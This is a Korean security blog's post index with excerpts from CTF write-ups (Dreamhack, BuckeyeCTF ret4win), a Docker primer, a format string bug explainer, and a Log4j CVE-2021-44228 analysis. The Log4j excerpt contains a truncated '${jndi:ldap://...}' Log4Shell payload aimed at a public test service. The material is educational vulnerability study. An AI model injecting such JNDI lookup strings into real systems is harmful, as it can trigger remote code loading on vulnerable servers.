본문 바로가기

분류 전체보기

(25)
[Dreamhack] My Decryption System Write Up 보호되어 있는 글입니다.
[Dreamhack] Dream Restaurant Write Up 보호되어 있는 글입니다.
Log4j 취약점 소스코드 분석(CVE-2021-44228) 분석환경 -이클립스 maven프로젝트 -Log4j 2.12.0 -ldap 요청을 확인하기 위해 https://log4shell.huntress.com/ 사이트 활용 먼저 로깅 과정을 디버깅 하기위해 main다음과 같이 main함수를 작성해주었다. import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class Example { private static final Logger LOGGER = LogManager.getLogger(); public static void main(String[] args) { LOGGER.info("Hi -> " + "${jndi:ldap://log4shell.hun..
Log4j 취약점 발생원인 및 실습(CVE-2021-44228) Log4j 란? 자바 개발환경에서 로그를 기록하는 용도로 널리 사용되고 있는 오픈소스 라이브러리이다. 웹, 서버 등 JAVA환경에서 운영되는 모든 서비스에서 널리 사용되고 있는 만큼 취약점의 파급력이 매우 강력하다고 판단된다. 특히 Apache Structs, Spring 등 각종 웹 프레임워크에서 주로 사용되며 Abode 및 VMWare 등 글로벌 기업에서 개발한 소프트웨어 약 5500종이 영향을 받는다고 알려져 있다. 국내에서는 스프링 프레임워크를 기반으로 한 전자 정부 프레임워크 등에서 Lof4j를 사용하고 있다. 또한 도커 및 쿠버네티스 등을 통해 컨테이너를 기반으로 운영중인 다양한 서비스 에서도 Lof4j가 사용되고 있다. Log4j 취약점 Log4j 취약점은 Log4Shell 취약점 이라고도 ..
Docker 설치 및 기본적인 사용법 자세한 내용은 공식문서 https://docs.docker.com/ 참조! Docker란? 프로세스 격리 기술 등을 이용해 컨테이너로 실행하고 관리하게 해주는 도구. 운영체제 수준의 가상환경을 제공하나 실제 운영체제를 설치하는것보다 훨씬 간편하고 가볍기 때문에 널리 이용되고 있다. 위키백과 - 도커 컨테이너는 일종의 소프트웨어를 소프트웨어의 실행에 필요한 모든 것을 포함하는 완전한 파일 시스템 안에 감싼다. 여기에는 코드, 런타임, 시스템 도구, 시스템 라이브러리 등 서버에 설치되는 무엇이든 아우른다. 이는 실행 중인 환경에 관계 없이 언제나 동일하게 실행될 것을 보증한다. 또한 Docker image 또는 Dockerfile 등을 구성해 개발환경을 손쉽게 배포하여 협업시에 개발환경의 문제로 생길 트러블..
[Pwnable] Format String Bug Format String Bug 란? 우리가 흔히 C언어 에서 사용하는 printf, Scanf 등에서 %d, %s 와 같은 것이 바로 Format String 이다. Format Stiring은 출력할 값의 Format(형식)을 지정해 주는 역할을 한다. Format String을 사용하는 함수에서 Format을 제대로 지정해 주지 않을 경우 format String Bug 취약점이 발생하여 공격이 가능하다. 주로 사용되는 Format String 을 대략적으로 정리하자면 다음과 같다. Format String 기능 %d 정수(10진수 int) %c 문자(char) %s 문자열(NULL을 만날 때 까지 출력) %f 실수(float) %lf 실수(double) %p 주소 출력할때 사용, 메모리 크기만큼 ..
[Dreamhack] tiny backdoor Write Up 보호되어 있는 글입니다.
[BuckeyeCTF] ret4win Write Up pwnable 2번째 문제이다. 구성은 이전문제랑 비슷하다. flag.txt에 flag가 있음. 보호기법도 nx와 relro가 끝이고 문제이름만 봐도 bof로 ret주소 조작하는 문제일것같다. #include #include #include __attribute__((constructor)) void ignore_me() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void win(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) { char* cmd = "cat flag.txt"; if (arg0 == 0xdeadbeef && arg1 == 0xcafebabe && a..